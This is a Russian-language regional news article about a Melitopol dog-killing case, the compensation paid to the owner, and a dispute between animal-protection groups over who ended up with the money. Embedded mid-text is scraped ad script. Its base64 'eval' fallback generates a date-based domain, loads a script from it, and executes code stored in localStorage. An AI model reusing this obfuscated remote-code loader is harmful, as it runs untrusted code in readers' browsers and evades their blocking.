В Мелитополе долгое время широко обсуждалась история убийства пса по кличке Зевс. Рецидивист зарубил овчарку топором, заманив её в свой двор. Дело закрыли, когда хозяину выплатили 10 тысяч гривен.
О том, кто на самом деле получил деньги за это, пишет местный сайт «РИА М».
Произошло это в начале января и Зевс не дождался хозяина всего несколько часов. К делу подключились зоозащитники «Мелитопольского общества защиты животных», а затем и полиция. По факту происшествия возбудили уголовное дело по ч.1 ст. 299 УК Украины (жестокое обращение с животными).
Утверждается, что живодер свою вину не отрицал и готов был пойти на сделку со следствием.
«В таком случае он теряет право подать апелляцию на приговор, а дело рассматривается в упрощенном порядке. Но и наказание при этом назначается максимально мягкое.» — сообщает «РИА М».
Такая сделка невозможна без согласия потерпевшей стороны, поэтому все зависело от позиции хозяина погибшей собаки.
«А вот тут начинается самое интересное. Необходимо сказать, что с самого начала к делу был подключен адвокат, которого нашли и наняли зоозащитники. Формально он представлял интересы хозяина, но по факту выполнял распоряжения общественников.» — говорится в сообщении «РИА М»
Активисты в суд не пришли. Смягчающим обстоятельством при вынесении приговора было то, что обвиняемый выплатил потерпевшему 10 тысяч гривен в виде компенсации морального ущерба. Получив деньги, хозяин Зевса написал заявление, что не имеет никаких претензий к убийце. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
«Но деньги мужчина сразу передал… частному приюту «Надежда», то есть тем самым зоозащитникам, которые занимались этим делом.» — говорится в сообщении.
С соответствующим заявлением выступила общественная организация «Зоозахисник». Они обвинили коллег в договорняках с убийцами животных.
— Организация по защите животных, которая лоббировала интересы зверски убитого животного, не должна была брать деньги, полученные от живодёра. Не имела права. Левой рукой взяли у живодёра, а правой передали зоозащитникам, по сути предав саму идею защиты животных, нарушив уставную деятельность зоозащитных организаций: пропаганда милосердия. Публично источник происхождения и факт передачи денег организации, которая представляла интересы всей громады, не были донесены до общественности. Организация «Зоозахисник» и Всеукраинская Ассоциация зоозащитных организаций осуждают такие действия: договорняки с догхантерами и живодёрами, которые приводят к смягчению их приговора -это аморально. Следовало бы спросить у всей громады: этично ли зоозащитной организации принимать деньги, выплаченные живодёром за убитую собаку, интересы которой эта организация защищала, — пишут на свое странице в ФБ представители ОО «Зоозахисник».
Представитель организации «Мелитопольское общество защиты животных» рассказала, что выплата компенсации хозяину — следствие слишком мягкой квалификации дела, что зависело от правоохранителей, а деньги хозяин Зевса выплатил не в руки зоозащитникам, а на нужды подопечных животных организации.
«Мы пытались выяснить у полиции почему не переквалифицируют дело по 3 ч 299ст., полиция ссылалась на прокуратуру. С прокуратурой совсем печалька. Из-за карантина прокурор и его зам не принимают, телефон горячей линии не отвечает. Связаться с ними удалось мне только после нескольких звонков на горячую линию в Запорожье. Мне обещали , что прокурор Каплина Екатерина со мной свяжется , до чего она не снизошла. Поскольку дело не переквалифицировали, адвокат настоятельно порекомендовала подать гражданский иск на возмещение материального и морального ущерба. Александр сразу заявил, что в случае выплаты этой суммы он ее передаст для бездомных животных. Что кстати , он уже и сделал. Передал их для подопечных «Надежды».» — написала Галина Мирошниченко.
Более подробно о том, почему дело не переквалифицировали:
«Сначала не верили , что откроют дело. Благодаря Юлии, Натальи, СМИ, 112 каналу , моему обращению к заместителю городского головы Михаилу Семикину дело открыли. Как в полиции принимали заявление у потерпевшего (хозяина Зевса это отдельная история). Благодаря вашей помощи оплачены услуги адвоката, иначе дело до суда не дошло бы вовсе , развалилось бы по дороге. Проблема первая — почти полное отсутствие свидетелей . Они есть, но они молчат . Они готовы рассказать какое дерьмо Алексей Братишко (ред. убийца Зевса) , но дать свидетельские показания ни-ни. В полиции полно протоколов на него , а заявлений НЕТ! Хоть с места проживания охарактеризовали негативно, так и то наверно участковый, единственный адекватный полицейский. Вторая и основная проблема наша слепая доброзичливая Фемида. Ни полиция, ни прокуратура не усмотрели в данном преступлении совершенном по ст.299 Криминального кодекса Украины части 3. « — написала Галина. (adsbygoogle = window.adsbygoogle || []).push({});
убийца Зевса 
орудие убийства 
Зевс Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/v-zaporozhskoj-oblasti-zoozashhitnikov-obvinili-v-zarabotke-na-ubijstve-ovcharki-chto-oni-otvetili/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
